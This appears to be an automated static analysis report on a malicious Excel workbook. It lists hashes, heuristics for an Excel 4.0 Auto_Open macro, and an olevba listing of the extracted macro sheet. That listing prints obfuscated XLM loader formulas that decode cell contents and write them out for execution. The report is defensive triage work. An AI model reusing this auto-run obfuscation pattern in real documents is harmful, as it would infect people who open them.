Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bd846c9d53d649ee…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:27 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 6e835630694bb562200ce60ceed6c4dd SHA-1: 22fa861c15a2d9fab26e868b4538dfff7dd25a74 SHA-256: bd846c9d53d649ee007e9894f44e6dea5d9e4eb4981f44dfe92c3c626e15baac
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6415 bytes
SHA-256: c5375c0472ae8115b195472810229e7ca7b104b3c76c25b86755ae8a1ebfb154
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HXm
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E151 
' 0018     22 LABEL : Cell Value, String Constant - bBDHEyA len=0 
' 0018     25 LABEL : Cell Value, String Constant - BFoHTcaYkG len=0 
' 0018     20 LABEL : Cell Value, String Constant - bHyGM len=0 
' 0018     20 LABEL : Cell Value, String Constant - bIjSB len=0 
' 0018     21 LABEL : Cell Value, String Constant - CZyRbB len=0 
' 0018     20 LABEL : Cell Value, String Constant - FaFcd len=0 
' 0018     23 LABEL : Cell Value, String Constant - inENqmCq len=0 
' 0018     27 LABEL : Cell Value, String Constant - JnSwtIkSZHqx len=0 
' 0018     26 LABEL : Cell Value, String Constant - jtLBBbVYJWh len=0 
' 0018     27 LABEL : Cell Value, String Constant - kSmUkIAcmjcX len=0 
' 0018     23 LABEL : Cell Value, String Constant - ktfkeyKa len=0 
' 0018     20 LABEL : Cell Value, String Constant - LebOx len=0 
' 0018     23 LABEL : Cell Value, String Constant - OGoWGUPP len=0 
' 0018     27 LABEL : Cell Value, String Constant - OikXTxqwsGHo len=0 
' 0018     24 LABEL : Cell Value, String Constant - sYlSLHOFl len=0 
' 0018     26 LABEL : Cell Value, String Constant - tBGsWqYjqnK len=0 
' 0018     21 LABEL : Cell Value, String Constant - tCFEXo len=0 
' 0018     22 LABEL : Cell Value, String Constant - WJFHZjf len=0 
' 0018     25 LABEL : Cell Value, String Constant - yLHfNzvAPv len=0 
' 0018     24 LABEL : Cell Value, String Constant - YxrPFNIbY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HXm,E66,"SET.NAME("inENqmCq",VALUE("0"))",""
'  HXm,E68,"SET.NAME("JnSwtIkSZHqx",inENqmCq)",""
'  HXm,E71,"SET.NAME("sYlSLHOFl",inENqmCq)",""
'  HXm,E73,"SET.NAME("LebOx",COUNTA(bIjSB))",""
'  HXm,E77,"SET.NAME("FaFcd",COUNTA(CZyRbB))",""
'  HXm,E80,[],""
'  HXm,E82,"SET.NAME("OGoWGUPP","")",""
'  HXm,E86,"JnSwtIkSZHqx",""
'  HXm,E89,"SET.NAME("tBGsWqYjqnK",HLOOKUP("*",bIjSB,JnSwtIkSZHqx,FALSE))",""
'  HXm,E92,"BFoHTcaYkG",""
'  HXm,E94,"SET.NAME("jtLBBbVYJWh",inENqmCq)",""
'  HXm,E98,[],""
'  HXm,E102,"jtLBBbVYJWh",""
'  HXm,E105,"kSmUkIAcmjcX",""
'  HXm,E107,"tCFEXo",""
'  HXm,E110,"ktfkeyKa",""
'  HXm,E114,"SET.NAME("WJFHZjf",VALUE(HLOOKUP("*",CZyRbB,ktfkeyKa,FALSE)))",""
'  HXm,E118,"bHyGM",""
'  HXm,E123,"OGoWGUPP",""
'  HXm,E126,"sYlSLHOFl",""
'  HXm,E128,NEXT(),""
'  HXm,E132,"bBDHEyA",""
'  HXm,E136,"SET.NAME("f",INT(T(FORMULA(T(OGoWGUPP)&"",""&T(bBDHEyA)))))",""
'  HXm,E139,"YxrPFNIbY",""
'  HXm,E144,NEXT(),""
'  HXm,E147,RETURN(),""
'  HXm,E172,"SET.NAME("yLHfNzvAPv",E66)",""
'  HXm,E176,"bIjSB",""
'  HXm,E181,"SET.NAME("CZyRbB",R91C14)",""
'  HXm,E184,"SET.NAME("YxrPFNIbY",192)",""
'  HXm,E188,"SET.NAME("OikXTxqwsGHo",5)",""
'  HXm,E191,yLHfNzvAPv(),""
'  HXm,E192,HALT(),""